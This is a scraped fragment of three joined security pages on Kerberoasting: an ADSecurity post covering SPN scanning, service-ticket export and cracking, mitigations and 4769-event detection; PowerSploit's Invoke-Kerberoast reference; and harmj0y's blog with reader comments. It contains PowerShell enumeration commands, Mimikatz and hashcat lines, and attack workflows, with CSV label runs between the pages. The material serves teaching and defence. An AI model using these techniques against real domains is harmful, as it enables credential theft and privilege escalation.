\xe2\x80\x93 forged Kerberos TGS service ticket Golden Ticket \xe2\x80\x93 forged Kerberos TGT authentication ticket MS14-068 Forged PAC Exploit \xe2\x80\x93 exploitation of the Kerberos vulnerability on Domain Controllers. Diamond PAC \xe2\x80\x93 blended attack type using elements of the Golden Ticket and the MS14-068 forged PAC. Skeleton Key In-memory Malware \xe2\x80\x93 malware \xe2\x80\x9cpatches\xe2\x80\x9d the LSASS authentication process in-memory on Domain Controllers to enable a second, valid \xe2\x80\x9cskeleton key\xe2\x80\x9d password with which can be used to authenticate any domain account. This post covers another type of Kerberos attack that involves Kerberos TGS service ticket cracking using Kerberoast. This information is based on the presentations I gave at several security conferences in 2015 (BSides, Shakacon, Black Hat, DEF CON, & DerbyCon) and Tim Medin\xe2\x80\x99s DerbyCon \xe2\x80\x9cAttacking Microsoft Kerberos Kicking the Guard Dog of Hades\xe2\x80\x9d presentation in 2014 (slides & video) where he released the Kerberoast Python TGS cracker. \xc2 SPN Scanning Traditionally, attackers have performed recon using network port scanning, though this is usually not required on modern networks thanks to use of Active Directory and Kerberos. I have previously written about \xe2\x80\x9cSPN Scanning\xe2\x80\x9d for recon which involves requesting specific Service Principal Name (SPN) types from a Domain Controller (requires a user or computer account). For the attacker, one of the most useful SPN types to scan for is \xe2\x80\x9cSQL\xe2\x80\x9d to discover all SQL servers registered in Active Directory. All service types that leverage Kerberos authentication have SPNs registered in Active Directory since SPNs are required for Kerberos to work. First, let\xe2\x80\x99s review how Kerberos works. I maintain a Service Principal Name (SPN) directory with the most common SPNs and what they are used for. SPN Scanning for Services SPN Scanning for Service Accounts Once the attacker has a list of Service Principal Names (SPNs) associated with service accounts, these SPNs can be used to request Kerberos TGS service tickets useful for offline TGS password cracking. Note: Both of these screenshots are from PowerShell functions I wrote to perform SPN Scanning in my GitHub repository. If you have the Active Directory PowerShell module installed, you can easily find all SPNs of a specific type with Get-ADObject get-adobject -filter {serviceprincipalname -like \xe2\x80\x9c*sql*\xe2\x80\x9d} -prop serviceprincipalname The AD PowerShell module quickly installs on Windows Server 2008R2 and newer: import-module servermanager ; add-windowsfeature RSAT-AD-PowerShell \xc2 Kerberos Overview & Communication Process: User logs on with username & password. 1a. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an authenticator in the authentication ticket (TGT) request (AS-REQ). 1b. The Domain Controller (KDC) checks user information (logon restrictions, group membership, etc) & creates Ticket-Granting Ticket (TGT). 2. The TGT is encrypted, signed, & delivered to the user (AS-REP). Only the Kerberos service (KRBTGT) in the domain can open and read TGT data. 3. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-REQ). The DC opens the TGT & validates PAC checksum \xe2\x80\x93 If the DC can open the ticket & the checksum check out, TGT = valid. The data in the TGT is effectively copied to create the TGS ticket. 4. The TGS is encrypted using the target service accounts\xe2\x80\x99 NTLM password hash and sent to the user (TGS-REP). 5.The user connects to the server hosting the service on the appropriate port & presents the TGS (AP-REQ). The service opens the TGS ticket using its NTLM password hash. 6. If mutual authentication is required by the client (think MS15-011: the Group Policy patch from February that added UNC hardening). Unless PAC validation is required (rare), the service accepts all data in the TGS ticket with no communication to the DC. \xc2 Cracking Service Account Passwords with Kerberoast: Kerberoast can be an effective method for extracting service account credentials from Active Directory as a regular user without sending any packets to the target system. This attack is effective since people tend to create poor passwords. The reason why this attack is successful is that most service account passwords are the same length as the domain password minimum (often 10 or 12 characters long) meaning that even brute force cracking doesn\xe2\x80\x99t likely take longer than the password maximum password age (expiration). Most service accounts don\xe2\x80\x99t have passwords set to expire, so it\xe2\x80\x99s likely the same password will be in effect for months if not years. Furthermore, most service accounts are over-permissioned and are often members of Domain Admins providing full admin rights to Active Directory (even when the service account only needs to modify an attribute on certain object types or admin rights on specific servers). The most effective mitigation of this attack is ensuring service account passwords are longer than 25 characters. Managed Service Accounts and Group Managed Service Accounts are a good method to ensure that service account passwords are long, complex, and change regularly. A third party product that provides password vaulting is also a solid solution for managing service account passwords. Note: This attack will not be successful when targeting services hosted by the Windows system since these services are mapped to the computer account in Active Directory which has an associated 128 character password which won\xe2\x80\x99t be cracked anytime soon. This attack involves requesting a Kerberos service ticket(s) (TGS) for the Service Principal Name (SPN) of the target service account. This request uses a valid domain user\xe2\x80\x99s authentication ticket (TGT) to request one or several service tickets for a target service running on a server. The Domain Controller doesn\xe2\x80\x99t track if the user ever actually connects to these resources (or even if the user has access). The Domain Controller looks up the SPN in Active Directory and encrypts the ticket using the service account associated with the SPN in order for the service to validate user access. The encryption type of the requested Kerberos service ticket is RC4_HMAC_MD5 which means the service account\xe2\x80\x99s NTLM password hash is used to encrypt the service ticket. This means that Kerberoast can attempt to open the Kerberos ticket by trying different NTLM hashes and when the ticket is successfully opened, the correct service account password is discovered. No elevated rights are required to get the service tickets and no traffic is sent to the target. Tim Medin released the Kerberoast Python TGS cracker and discussed these methods at DerbyCon 2014. An attacker can crack service account passwords without ever getting admin access to the server or the network. The attacker gets a foothold on a computer & Requests TGS tickets for several services with service accounts. Exports the TGS tickets from memory, saves them to files, & uploads to a website or webservice (Google Drive). An attacker owned computer on the internet grabs these files & runs Kerberoast against them until it identifies the correct NTLM password hash that will open one. Success in opening a TGS means the service account password was found! Note that this attack can also work by sniffing network traffic and grabbing Kerberos TGS tickets encrypted using RC4_HMAC_MD5 off the wire. I\xe2\x80\x99ll walk through this attack using a PowerShell script I wrote called Discover-PSMSSQLServers.ps1. This script discovers all the SQL servers in the domain/forest and identifies the associated service account. If it has a domain user account, it is very likely the associated password is not very strong, so that account is targeted. 1. SPN scan for SQL servers with service accounts. 2. After identifying the target, we use PowerShell to request the service ticket for this Service Principal Name (SPN). Note that the service ticket requested has the RC4 encryption type. Looking at a packet capture, we can see the Kerberos communication and note that the ticket is RC4-HMAC-MD5. 3. Once the ticket is is received by the client, we can use Mimikatz (or other) to export all Kerberos tickets in the user\xe2\x80\x99s memory space without elevated rights. 4. After exporting the service ticket to a file, that file can be sent to our attacker machine running Kali Linux with Kerberoast. Depending on our wordlist file, we may be able to crack the service account\xe2\x80\x99s password associated with the ticket (file). The attacker now knows the service account username and password valid on a server (or servers) and likely has administrator rights. Since service accounts are typically over-permissioned in many enterprises, often with weak passwords, this is an easy way for an attacker to go from domain user to domain admin. \xc2 Mitigation: Ensure all service accounts (user accounts with Service Principal Names) have long, complex passwords greater than 25 characters, preferably 30 or more. This makes cracking these password far more difficult. Service Accounts with elevated AD permissions should be the focus on ensuring they have long, complex passwords. Ensure all Service Account passwords are changed regularly (at least once a year). If possible use group managed service accounts which have random, complex passwords (>100 characters) and are managed automatically by Active Directory. \xc2 Detection: Detection is a lot tougher since requesting service tickets (Kerberos TGS tickets) happens all the time when users need to access resources. Looking for TGS-REQ packets with RC4 encryption is probably the best method, though false positives are likely. Monitoring for numerous Kerberos service ticket requests in Active Directory is possible by enabling Kerberos service ticket request monitoring (\xe2\x80\x9cAudit Kerberos Service Ticket Operations\xe2\x80\x9d) and searching for users with excessive 4769 events (Eventid 4769 \xe2\x80\x9cA Kerberos service ticket was requested\xe2\x80\x9d). \xc2 References: Sean Metcalf\xe2\x80\x99s Presentations on Active Directory Security Kerberoast (GitHub) Tim Medin\xe2\x80\x99s DerbyCon \xe2\x80\x9cAttacking Microsoft Kerberos Kicking the Guard Dog of Hades\xe2\x80\x9d presentation in 2014 (slides & video). My GitHub repository \xc2 (Visited 51,269 times, 41 visits today) ActiveDirectory, CrackPasswords, CrackServiceAccountPassword, CrackTGS, DiamondPAC, DomainController, ForgedPAC, GoldenTicket, Kerberoast, Kerberos, KerberosSilverTicket, mimikatz, MS14068, MSSQL, PowerShell, Python, RC4HMACMD5, RC4_HMAC_MD5, ServicePrincipalName, SilverTicket, SkeletonKey, SPN, SPNScanning, SQL, TGS, TGSCracker, TGT Sean Metcalf I improve security for enterprises around the world working for TrimarcSecurity.com Read the About page (top left) for information about me. :) https://adsecurity.org/?page_id=8 1 comment anonymous on January 6, 2016 at 7:50 am # best explanations about kerberos found on the net thanks a lot. \xf0\x9f\x99\x82 Comments have been disabled. Recent Posts Slides Posted for Black Hat USA 2019 Talk: Attacking & Defending the Microsoft Cloud AD Reading: Windows Server 2019 Active Directory Features There\xe2\x80\x99s Something About Service Accounts Mitigating Exchange Permission Paths to Domain Admins in Active Directory From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration Trimarc Active Directory Security Services Have concerns about your Active Directory environment? Trimarc helps enterprises improve their security posture. Find out how... TrimarcSecurity.com Popular Posts Attack Methods for Gaining Domain Admin Rights in\xe2\x80\xa6 PowerShell Encoding & Decoding (Base64) Securing Windows Workstations: Developing a Secure Baseline Securing Domain Controllers to Improve Active\xe2\x80\xa6 Finding Passwords in SYSVOL & Exploiting Group\xe2\x80\xa6 The Most Common Active Directory Security Issues and\xe2\x80\xa6 Kerberos & KRBTGT: Active Directory\xe2\x80\x99s\xe2\x80\xa6 Building an Effective Active Directory Lab\xe2\x80\xa6 Microsoft Local Administrator Password Solution (LAPS) Detecting Offensive PowerShell Attack Tools Categories ActiveDirectorySecurity Apple Security Cloud Security Continuing Education Entertainment Exploit Hacking Hardware Security Hypervisor Security Linux/Unix Security Malware Microsoft Security Mitigation Network/System Security PowerShell RealWorld Security Security Conference Presentation/Video Security Recommendation Technical Article Technical Reading Technical Reference TheCloud Vulnerability Tags ActiveDirectory Active Directory ActiveDirectoryAttack Active Directory Security ActiveDirectorySecurity ADReading ADSecurity AD Security DCSync DEFCON DomainController EMET5 GoldenTicket HyperV Invoke-Mimikatz KB3011780 KDC Kerberos KerberosHacking KRBTGT LAPS LSASS MCM MicrosoftEMET MicrosoftWindows mimikatz MS14068 PassTheHash PowerShell PowerShellCode PowerShellHacking PowerShellv5 PowerSploit Presentation Security SIDHistory SilverTicket SneakyADPersistence SPN TGS TGT Windows10 WindowsServer2008R2 WindowsServer2012 WindowsServer2012R2 Copyright Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Content Ownership: All content posted here is intellectual work and under the current law, the poster owns the copyright of the article. Terms of Use Copyright \xc2\xa9 2011 - 2017. Content Disclaimer: This blog and its contents are provided ""AS IS"" with no warranties, and they confer no rights. Script samples are provided for informational purposes only and no guarantee is provided as to functionality or suitability. The views shared on this blog reflect those of the authors and do not represent the views of any companies mentioned. Made with by Graphene Themes.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Invoke-Kerberoast - PowerSploit PowerSploit Home Recon About Functions Export-PowerViewCSV Resolve-IPAddress ConvertTo-SID ConvertFrom-SID Convert-ADName ConvertFrom-UACValue Add-RemoteConnection Remove-RemoteConnection Invoke-UserImpersonation Invoke-RevertToSelf Get-DomainSPNTicket Invoke-Kerberoast Invoke-Kerberoast SYNOPSIS SYNTAX DESCRIPTION EXAMPLES PARAMETERS INPUTS OUTPUTS NOTES RELATED LINKS Get-PathAcl Get-DomainDNSZone Get-DomainDNSRecord Get-Domain Get-DomainController Get-Forest Get-ForestDomain Get-ForestGlobalCatalog Find-DomainObjectPropertyOutlier Get-DomainUser New-DomainUser Set-DomainUserPassword Get-DomainUserEvent Get-DomainComputer Get-DomainObject Set-DomainObject Set-DomainObjectOwner Get-DomainObjectAcl Add-DomainObjectAcl Find-InterestingDomainAcl Get-DomainOU Get-DomainSite Get-DomainSubnet Get-DomainSID Get-DomainGroup New-DomainGroup Get-DomainManagedSecurityGroup Get-DomainGroupMember Add-DomainGroupMember Get-DomainFileServer Get-DomainDFSShare Get-DomainGPO Get-DomainGPOLocalGroup Get-DomainGPOUserLocalGroupMapping Get-DomainGPOComputerLocalGroupMapping Get-DomainPolicy Get-NetLocalGroup Get-NetLocalGroupMember Get-NetShare Get-NetLoggedon Get-NetSession Get-RegLoggedOn Get-NetRDPSession Test-AdminAccess Get-NetComputerSiteName Get-WMIRegProxy Get-WMIRegLastLoggedOn Get-WMIRegCachedRDPConnection Get-WMIRegMountedDrive Get-WMIProcess Find-InterestingFile Find-DomainUserLocation Find-DomainProcess Find-DomainUserEvent Find-DomainShare Find-InterestingDomainShareFile Find-LocalAdminAccess Find-DomainLocalGroupMember Get-DomainTrust Get-ForestTrust Get-DomainForeignUser Get-DomainForeignGroupMember Get-DomainTrustMapping Get-ComputerDetail Get-HttpStatus Invoke-Portscan Invoke-ReverseDnsLookup Privesc About Functions Get-ModifiablePath Get-ProcessTokenGroup Get-ProcessTokenPrivilege Enable-Privilege Add-ServiceDacl Set-ServiceBinaryPath Test-ServiceDaclPermission Get-UnquotedService Get-ModifiableServiceFile Get-ModifiableService Get-ServiceDetail Invoke-ServiceAbuse Write-ServiceBinary Install-ServiceBinary Restore-ServiceBinary Find-ProcessDLLHijack Find-PathDLLHijack Write-HijackDll Get-RegistryAlwaysInstallElevated Get-RegistryAutoLogon Get-ModifiableRegistryAutoRun Get-ModifiableScheduledTaskFile Get-UnattendedInstallFile Get-WebConfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword Write-UserAddMSI Invoke-WScriptUACBypass Invoke-PrivescAudit Get-System AntiVirus Functions Find-AVSignature CodeExecution Functions Invoke-DllInjection Invoke-ReflectivePEInjection Invoke-Shellcode Invoke-WmiCommand Mayhem Functions Set-MasterBootRecord Set-CriticalProcess Persistence Functions New-ElevatedPersistenceOption New-UserPersistenceOption Add-Persistence Install-SSP Get-SecurityPackage ScriptModification Functions Out-CompressedDll Out-EncodedCommand Out-EncryptedScript Remove-Comment \xc2 PowerSploit Docs \xc2\xbb Recon \xc2\xbb Functions \xc2\xbb Invoke-Kerberoast Edit on GitHub Invoke-Kerberoast SYNOPSIS Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. Author: Will Schroeder (@harmj0y), @machosec License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket SYNTAX Invoke-Kerberoast [[-Identity] ] [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-OutputFormat ] [-Credential ] DESCRIPTION Uses Get-DomainUser to query for user accounts with non-null service principle names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. The ticket format can be specified with -OutputFormat \\. EXAMPLES -------------------------- EXAMPLE 1 -------------------------- Invoke-Kerberoast | fl -------------------------- EXAMPLE 2 -------------------------- Invoke-Kerberoast -Domain dev.testlab.local | fl -------------------------- EXAMPLE 3 -------------------------- $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\\dfm.a', $SecPassword) Invoke-Kerberoast -Credential $Cred -Verbose | fl PARAMETERS -Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. Type: String[] Parameter Sets: (All) Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName Required: False Position: 1 Default value: None Accept pipeline input: True (ByPropertyName, ByValue) Accept wildcard characters: False -Domain Specifies the domain to use for the query, defaults to the current domain. Type: String Parameter Sets: (All) Aliases: Required: False Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False -LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. Type: String Parameter Sets: (All) Aliases: Filter Required: False Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False -SearchBase The LDAP source to search through, e.g. ""LDAP://OU=secret,DC=testlab,DC=local"" Useful for OU queries. Type: String Parameter Sets: (All) Aliases: ADSPath Required: False Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False -Server Specifies an Active Directory server (domain controller) to bind to. Type: String Parameter Sets: (All) Aliases: DomainController Required: False Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False -SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). Type: String Parameter Sets: (All) Aliases: Required: False Position: Named Default value: Subtree Accept pipeline input: False Accept wildcard characters: False -ResultPageSize Specifies the PageSize to set for the LDAP searcher object. Type: Int32 Parameter Sets: (All) Aliases: Required: False Position: Named Default value: 200 Accept pipeline input: False Accept wildcard characters: False -ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. Type: Int32 Parameter Sets: (All) Aliases: Required: False Position: Named Default value: 0 Accept pipeline input: False Accept wildcard characters: False -Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. Type: SwitchParameter Parameter Sets: (All) Aliases: Required: False Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False -OutputFormat Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. Type: String Parameter Sets: (All) Aliases: Format Required: False Position: Named Default value: John Accept pipeline input: False Accept wildcard characters: False -Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. Type: PSCredential Parameter Sets: (All) Aliases: Required: False Position: Named Default value: [Management.Automation.PSCredential]::Empty Accept pipeline input: False Accept wildcard characters: False INPUTS OUTPUTS PowerView.SPNTicket Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. NOTES RELATED LINKS Next Previous Built with MkDocs using a theme provided by Read the Docs. Read the Docs","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Kerberoasting Without Mimikatz \xe2\x80\x93 harmj0y Press ""Enter"" to skip to content harmj0y security at the misfortune of others open menu About Presentations Projects twitter github slack email Sidebar Recent Posts A Case Study in Wagging the Dog: Computer Takeover Kerberoasting Revisited Not A Security Boundary: Breaking Forest Trusts Another Word on Delegation Rubeus \xe2\x80\x93 Now With More Kekeo Archives Archives Select Month February 2019 \xc2 (2) November 2018 \xc2 (1) October 2018 \xc2 (2) September 2018 \xc2 (1) August 2018 \xc2 (1) July 2018 \xc2 (2) April 2018 \xc2 (1) November 2017 \xc2 (1) October 2017 \xc2 (1) September 2017 \xc2 (2) August 2017 \xc2 (1) July 2017 \xc2 (2) June 2017 \xc2 (1) May 2017 \xc2 (1) March 2017 \xc2 (1) January 2017 \xc2 (4) December 2016 \xc2 (1) November 2016 \xc2 (1) October 2016 \xc2 (2) September 2016 \xc2 (1) August 2016 \xc2 (1) July 2016 \xc2 (2) June 2016 \xc2 (3) May 2016 \xc2 (2) April 2016 \xc2 (2) March 2016 \xc2 (4) February 2016 \xc2 (2) January 2016 \xc2 (1) December 2015 \xc2 (4) November 2015 \xc2 (1) October 2015 \xc2 (3) September 2015 \xc2 (2) August 2015 \xc2 (3) July 2015 \xc2 (1) June 2015 \xc2 (1) May 2015 \xc2 (1) April 2015 \xc2 (1) March 2015 \xc2 (1) January 2015 \xc2 (1) December 2014 \xc2 (1) November 2014 \xc2 (2) October 2014 \xc2 (2) September 2014 \xc2 (2) August 2014 \xc2 (1) July 2014 \xc2 (2) June 2014 \xc2 (2) May 2014 \xc2 (2) April 2014 \xc2 (2) March 2014 \xc2 (1) Search Categories ActiveDirectory defense Empire EmPyre informational penetesting Powershell Python redteaming Uncategorized Blogroll bluescreenofjeff.com enigma0x3.net invoke-ir.com wald0.com Twitter My Tweets Kerberoasting Without Mimikatz Published November 1, 2016 by harmj0y Just about two years ago, Tim Medin presented a new attack technique he christened \xe2\x80\x9cKerberoasting\xe2\x80\x9c. While we didn\xe2\x80\x99t realize the full implications of this at the time of release, this attack technique has been a bit of a game changer for us on engagements. More and more attention has been brought to Kerberoasting recently, with @mubix releasing a three part series on the topic, Sean Metcalf covering it several times, and @leonjza doing a detailed writeup as well. Thanks to an awesome PowerView pull request by @machosec, Kerberoasting is easier than ever using pure PowerShell. I wanted to briefly cover this technique and its background, how we\xe2\x80\x99ve been using it recently, and a few awesome new developments. Kerberoasting Background I first heard about Kerberoasting from Tim at SANS HackFest 2014 during his \xe2\x80\x9cAttacking Kerberos: Kicking the Guard Dog of Hades\xe2\x80\x9d talk (he also released a Kerberoasting toolkit here). I\xe2\x80\x99ll briefly paraphrase some technical detail of the attack, but I highly recommend you read Tim\xe2\x80\x99s slides and/or Sean\xe2\x80\x99s explanation for more detail. There\xe2\x80\x99s also an excellent page of Microsoft documentation titled \xe2\x80\x9cKerberos Technical Supplement for Windows\xe2\x80\x9d which finally clarified a few points involved in this process that were fuzzy to me. Here\xe2\x80\x99s my\xc2 version of the obligatory \xe2\x80\x9cthis is how kerberos works\xe2\x80\x9d graphic: As far as how Kerberoasting fits into this process, this is how I understand it (if I am mistaken on some point please let me know!): after a user authenticates to the key distribution center (KDC, which in the case of a Windows domain is the domain controller) they receive a ticket-granting-ticket (TGT) signed with the domain krbtgt account that proves\xc2 they are who they say they are. The TGT is then used to request service tickets (TGS) for specific resources/services on the domain. Part of the service ticket is encrypted with the NTLM hash of the target service instance. So how does the KDC determine exactly what key to use when encrypting these service tickets? The Windows implementation of the Kerberos protocol uses service principal names (SPNs) to determine which service account hash to use to encrypt the service ticket. There are two \xe2\x80\x9ctypes\xe2\x80\x9d of service principal names in Active Directory: \xe2\x80\x9chost-based\xe2\x80\x9d SPNs that are linked to a domain computer account and \xe2\x80\x9carbitrary\xe2\x80\x9d SPNs that are usually (but not always) linked to a domain user account. As Microsoft explains, \xe2\x80\x9cWhen a new computer account is created in Active Directory, host-based SPNs are automatically generated for built-in services\xe2\x80\xa6In reality, SPNs are only created for the HOST service and all built-in services use the HOST SPN\xe2\x80\x9d. Put another way, \xe2\x80\x9cThe HOST service represents the host computer. The HOST SPN is used to access the host computer account whose long term key is used by the Kerberos protocol when it creates a service ticket\xe2\x80\x9d. Here\xe2\x80\x99s an example of a default computer account in my test domain: You can see the HOST/WINDOWS1 and HOST/WINDOWS1.testlab.local SPNs for the WINDOWS1$ computer account. When a domain user requests access to \\\\WINDOWS1.testlab.local\\C$, the KDC maps this request to the HOST/WINDOWS1.testlab.local SPN, indicating that the WINDOWS1$ machine account NTLM hash (which is stored both on WINDOWS1 locally and the NTDS.dit Active Directory database on the DC/KDC) should be used to encrypt the server part of the service ticket. The signed/encrypted ticket is then presented to WINDOWS1.testlab.local, which is responsible for determining whether the requesting user should be granted access. From the Kerberoasting perspective, we generally don\xe2\x80\x99t care about host-based SPNs, as a computer\xe2\x80\x99s machine account password is randomized by default and rotates every 30 days. However, remember that arbitrary SPNs can also be registered for domain user accounts as well. One common example is a service account that manages several MSSQL instances; this user account would have a SPN for each MSSQL instance it\xe2\x80\x99s registered for\xc2 stored in the user\xe2\x80\x99s\xc2 serviceprincipalname attribute (Sean keeps\xc2 an updated list of SPNs here). If we have an arbitrary SPN that is registered for a domain user account, then the NTLM hash of that user\xe2\x80\x99s account\xe2\x80\x99s plaintext password is used for the service ticket creation. This is the key to Kerberoasting. Obligatory \xe2\x80\x9cSo Why Does This Matter?\xe2\x80\x9d Because of how Kerberos works, any user can request a TGS for any service that has a registered SPN (HOST or arbitrary) in a user or computer account in Active Directory. Remember that just requesting this ticket doesn\xe2\x80\x99t grant access to the requesting user, as it\xe2\x80\x99s up to the server/service to ultimately determine whether the user should be given access. Tim realized that because of this, and because part of a TGS requested for an SPN instance is encrypted with the NTLM hash of a service account\xe2\x80\x99s plaintext password, any user can request these TGS tickets and then crack the service account\xe2\x80\x99s plaintext password offline, without the risk of account lockout! To reiterate, any domain user account that has a service principal name set can have a TGS for that SPN requested by any user in the domain, allowing for the offline cracking of the service account plaintext password! This is obviously dependent on a crackable service account plaintext, but luckily for us service accounts tend to often have simple passwords that change very infrequently. \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf As an added bonus, Tim mentions on slide 18 of his presentation deck: \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf \xe2\x80\x9cOld\xc2 School\xe2\x80\x9d Kerberoasting Tim\xe2\x80\x99s outlined approach/toolkit used a combination of toolsets to request tickets, extract them from memory (using Mimikatz), and transform them into a crackable format. In general, the process (up until recently) went as follows: Enumerate the domain accounts with SPNs set- either with Tim\xe2\x80\x99s GetUserSPNS.ps1 script, Sean\xe2\x80\x99s Find-PSServiceAccounts.ps1 script, or PowerView\xe2\x80\x99s \xe2\x80\x9cGet-NetUser -SPN\xe2\x80\x9c. Request TGSs for these specific SPNs with the builtin Windows tool setspn.exe or the .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken class in PowerShell. Extract these tickets from memory by invoking the kerberos::list /export Mimikatz command , with the optional base64 export format set first. The tickets were then downloaded, or the base64-encoded versions pulled down to the attacker\xe2\x80\x99s machine and decoded. Begin offline password cracking with Tim\xe2\x80\x99s tgsrepcrack.py, or extract a crackable hash format from the raw ticket with John the Ripper\xe2\x80\x99s \xc2 kirbi2john.py. xan7r branched Tim\xe2\x80\x99s toolset and added an autokerberoast.ps1 script that automated large components of this process. Also, @tifkin_ wrote a Go version of a TGS cracker that functioned a bit faster than the original Python version. \xe2\x80\x9cNew School\xe2\x80\x9d Kerberoasting A few recent(ish) things really simplified our usage of Kerberoasting on engagements. First, Michael Kramer added the KRB5TGS format to John the Ripper in September of 2015. Second, @Fist0urs committed the same algorithm to Hashcat in Febuary 2016, opening the door for GPU-based cracking of these tickets. This was really a watershed for us, as it greatly expanded the range of service account passwords we could crack. And finally, Matan Hart (@machosec)\xe2\x80\x99s pull request to PowerView removed the Mimikatz requirement. @machosec realized that .NET class KerberosRequestorSecurityToken used in previous approaches also had a GetRequest()\xc2 method, which returns the raw byte stream of the Kerberos service ticket. With a bit string manipulation, Matan was able to easily extract out the encrypted (i.e. the crackable hash component) of the TGS. We are now no longer dependent on Mimikatz for ticket extraction! I recently rolled the necessary functions into a single, self-contained script that contains the necessary components from PowerView (this has also been updated in Empire). We are currently in the process of refactoring large components of PowerSploit, and the updated functions will be posted here after the changes are published. This custom-rolled script includes the Invoke-Kerberoast function, which wraps the logic from Get-NetUser -SPN (to enumerate user accounts with a non-null servicePrincipalName) and Get-SPNTicket to request associated TGS tickets and output John and Hashcat crackable strings. For now, here\xe2\x80\x99s what the output of the script looks like: It also works across domains! By default, the John format is output, but -OutputFormat Hashcat will output everything Hashcat-ready. Note that the -AdminCount flag only Kerberoasts accounts with AdminCount=1, meaning user accounts that are (or were) \xe2\x80\x98protected\xe2\x80\x99 and, therefore, almost always highly privileged: And here\xe2\x80\x99s how the updated Empire module looks: Note that for non-Empire weaponizations, as PSObjects are output, you will need to pipe the results to Format-List or ConvertTo-Csv -NoTypeInformation in order to preserve the information you want displayed. You can then crack these tickets as @mubix described in his third post. Again, the self-contained, PowerShell 2.0-compliant script is on my Gists here. Hopefully this is as much use to you as it has been for us over the past few months! Read more posts about Powershell kerberoast Previous Post Empire Fails Next Post Make PowerView Great Again 21 Comments Ros Gul November 1, 2016 mitigations? Reply harmj0y November 5, 2016 Ensure service account passwords are longer than 25 characters, or try to integrate Managed Service Accounts/Group Managed Service Accounts Reply harmj0y December 14, 2016 https://adsecurity.org/?p=2293 Reply flux November 2, 2016 Hey harmj0y, first of all: Thanks for the nice write-up! I have added the module to empire and tested it against my lab domain. As there was no SPN available I added a user \xe2\x80\x9cspntest\xe2\x80\x9d and a spn using \xe2\x80\x9csetspn -U -S http/spntest spntest\xe2\x80\x9d. The hashcat formated hash was retrieved by the Invoke-Kerberoast module without any problems. I handed the hash over to my windows based hashcat machine using \xe2\x80\x9chashcat64.exe -m 13300 hashfile D:\\wordlists\\testlist\xe2\x80\x9d. The wordlist was only containing the correct password and four dummies. Surprisingly hashcat recognized the hash as Kerberos 5 TGS-REP etype 23, finished its run without any errors, but did not recover the password from it. I suspected the output format of the module to be the problem as it needs some massaging to fit into the one liner hashcat expects but after retesting it for the third time I am pretty sure that the input to hashcat is correct. Could you give me a hint how you were able to utilize hashcat for the cracking stage? Thanks in advance! flux* Reply harmj0y December 14, 2016 we\xe2\x80\x99ve received reports of this and are looking into it, thanks! Reply Brad November 2, 2016 Your Invoke-Kerberoast from the gist you linked seems to have a bug somewhere. When I run it with no -Identity argument it lists 